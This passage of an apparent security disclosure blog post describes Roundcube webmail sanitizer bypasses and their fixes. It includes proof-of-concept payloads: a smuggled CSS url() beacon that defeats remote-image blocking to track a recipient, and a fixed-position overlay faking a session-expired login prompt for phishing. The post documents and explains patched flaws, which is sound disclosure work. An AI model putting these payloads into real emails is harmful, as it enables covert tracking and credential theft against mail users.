\u003ccode\u003e\u0026lt;style\u0026gt;\u003c/code\u003e block), it bypasses \u003ccode\u003emod_css_styles()\u003c/code\u003e and its URL callback entirely.\u003c/p\u003e\n\u003ch3 id=\"proof-of-concept-1\"\u003eProof of concept\u003ca href=\"#proof-of-concept-1\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ebody\u003c/span\u003e \u003cspan class=\"na\"\u003ebackground\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;data:image/png,x);background:url(//httpbin.org/track?uid=victim@test.com\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe sanitizer produces this inline style on the container:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-css\" data-lang=\"css\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003ebackground-image\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nt\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003e\u003cspan class=\"nt\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"nd\"\u003eimage\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"nt\"\u003epng\u003c/span\u003e\u003cspan class=\"o\"\u003e,\u003c/span\u003e\u003cspan class=\"nt\"\u003ex\u003c/span\u003e\u003cspan class=\"o\"\u003e);\u003c/span\u003e\u003cspan class=\"nt\"\u003ebackground\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"nd\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e(//\u003c/span\u003e\u003cspan class=\"nt\"\u003ehttpbin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nc\"\u003eorg\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"nt\"\u003etrack\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"nt\"\u003euid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nt\"\u003evictim\u003c/span\u003e\u003cspan class=\"p\"\u003e@\u003c/span\u003e\u003cspan class=\"k\"\u003etest\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nc\"\u003ecom\u003c/span\u003e\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003e)\u003c/code\u003e in \u003ccode\u003edata:image/png,x)\u003c/code\u003e closes the original \u003ccode\u003eurl()\u003c/code\u003e. The injected \u003ccode\u003ebackground:url(//...)\u003c/code\u003e loads the external resource.\u003c/p\u003e\n\u003ch2 id=\"css-position-fixed-important\"\u003eCSS position: \u003ccode\u003efixed !important\u003c/code\u003e\u003ca href=\"#css-position-fixed-important\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eRoundcube converts \u003ccode\u003eposition: fixed\u003c/code\u003e to \u003ccode\u003eposition: absolute\u003c/code\u003e in \u003ccode\u003esanitize_css_block()\u003c/code\u003e to prevent elements from breaking out of the message container:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_utils.php#L544\"\u003ercube_utils.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$property\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;position\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003estrcasecmp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;fixed\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$value\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;absolute\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003estrcasecmp\u003c/code\u003e compares the entire trimmed value against \u003ccode\u003e\u0026quot;fixed\u0026quot;\u003c/code\u003e. Append \u003ccode\u003e!important\u003c/code\u003e and it\u0026rsquo;s no longer an exact match.\u003csup id=\"fnref:5\"\u003e\u003ca href=\"#fn:5\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e5\u003c/a\u003e\u003c/sup\u003e The check fails, and \u003ccode\u003e\u0026quot;fixed !important\u0026quot;\u003c/code\u003e flows through the generic token validation, where \u003ccode\u003eexplode_css_property_block()\u003c/code\u003e splits it into \u003ccode\u003e['fixed', '!important']\u003c/code\u003e. Both tokens pass the allowlist individually, and the output reassembles as \u003ccode\u003eposition: fixed !important\u003c/code\u003e.\u003c/p\u003e\n\u003ch3 id=\"proof-of-concept-2\"\u003eProof of concept\u003ca href=\"#proof-of-concept-2\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nc\"\u003eoverlay\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eposition\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003efixed\u003c/span\u003e \u003cspan class=\"cp\"\u003e!important\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"k\"\u003eleft\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ewidth\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"kt\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"k\"\u003eheight\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"kt\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ebackground\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003ewhite\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ez-index\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e99999\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003edisplay\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003eflex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ealign-items\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ejustify-content\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;overlay\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;border:1px solid #ccc;border-radius:8px;padding:30px;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e              max-width:400px;text-align:center;font-family:Arial,sans-serif\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003eh2\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003eSession Expired\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003eh2\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003eYour Roundcube session has expired due to inactivity.\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ea\u003c/span\u003e \u003cspan class=\"na\"\u003ehref\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;https://httpbin.org/phish/login\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e       \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;background:#0066cc;color:white;padding:10px 20px;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e              text-decoration:none;border-radius:4px\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003eSign In Again\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe overlay covers the preview pane iframe. When the message is opened in a new window (no iframe), it covers the full browser viewport with no visible Roundcube chrome. A \u0026ldquo;session expired\u0026rdquo; dialog pointing to an attacker-controlled login page.\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"/images/roundcube-phishing-overlay.png\" alt=\"Phishing overlay rendered inside Roundcube. A fake \u0026ldquo;Session Expired\u0026rdquo; dialog covers the message pane.\"\u003e\u003c/p\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003ca href=\"#impact\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThe SMIL and body background bypasses defeat \u0026ldquo;Block remote images\u0026rdquo; to enable email tracking: open confirmation, IP logging, browser fingerprinting. The SMIL variant can also measure read time through timed beacon sequences.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003eposition: fixed\u003c/code\u003e bypass is a phishing vector. A full-viewport overlay can impersonate Roundcube\u0026rsquo;s own login prompt.\u003c/p\u003e\n\u003ch2 id=\"remediation\"\u003eRemediation\u003ca href=\"#remediation\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eAll three issues are fixed in 1.5.14, 1.6.14, and 1.7-rc5. See the \u003ca href=\"https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.16\"\u003eRoundcube advisory\u003c/a\u003e.\u003c/p\u003e\n\u003ch3 id=\"smil-animations\"\u003eSMIL animations\u003ca href=\"#smil-animations\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cp\u003eThe fix (\u003ca href=\"https://github.com/roundcube/roundcubemail/commit/82ab5ec\"\u003e\u003ccode\u003e82ab5ec\u003c/code\u003e\u003c/a\u003e) replaces the inline element-level check with a new \u003ccode\u003eis_insecure_tag()\u003c/code\u003e method that blocks SMIL animation elements targeting \u003ccode\u003ehref\u003c/code\u003e, or \u003ccode\u003emask\u003c/code\u003e/\u003ccode\u003ecursor\u003c/code\u003e when the \u003ccode\u003evalues\u003c/code\u003e attribute contains \u003ccode\u003eurl()\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/82ab5eca7b332fce7a174b2b987f0957a66377cd/program/lib/Roundcube/rcube_washtml.php#L530-L544\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"k\"\u003estatic\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eis_insecure_tag\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$tagName\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003estrtolower\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003enodeName\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003ein_array\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tagName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;animate\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;animatecolor\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;set\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;animatetransform\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003eattribute_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;attributeName\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/^href$/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003eattribute_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;attributeName\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/^(mask|cursor)$/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003eattribute_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;values\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/url\\(/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe fix blocks the entire element when it detects a dangerous combination rather than adding \u003ccode\u003evalues\u003c/code\u003e and \u003ccode\u003eby\u003c/code\u003e to the attribute-level validation. The \u003ccode\u003eattribute_value()\u003c/code\u003e helper was also changed from exact string matching to regex matching to support this.\u003c/p\u003e\n\u003ch3 id=\"body-backgrounds\"\u003eBody backgrounds\u003ca href=\"#body-backgrounds\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cp\u003eThe fix (\u003ca href=\"https://github.com/roundcube/roundcubemail/commit/fd0e981\"\u003e\u003ccode\u003efd0e981\u003c/code\u003e\u003c/a\u003e) adds validation in \u003ccode\u003ewash_uri()\u003c/code\u003e that rejects data URIs unless they\u0026rsquo;re properly base64-encoded:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/fd0e98178db5c73eaa93d005b561874923f9b0f0/program/lib/Roundcube/rcube_washtml.php#L419-L422\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// At this point we allow only valid base64 images\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003estripos\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$type\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;base64\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"nx\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;|[^0-9a-z\\s/+]|i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$matches\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe crafted \u003ccode\u003edata:image/png,x)\u003c/code\u003e payload fails the first check: the type is \u003ccode\u003epng\u003c/code\u003e, not \u003ccode\u003epng;base64\u003c/code\u003e, so \u003ccode\u003estripos\u003c/code\u003e returns false and the URI is rejected. The second check guards base64-encoded payloads against smuggled characters like \u003ccode\u003e)\u003c/code\u003e. The unquoted 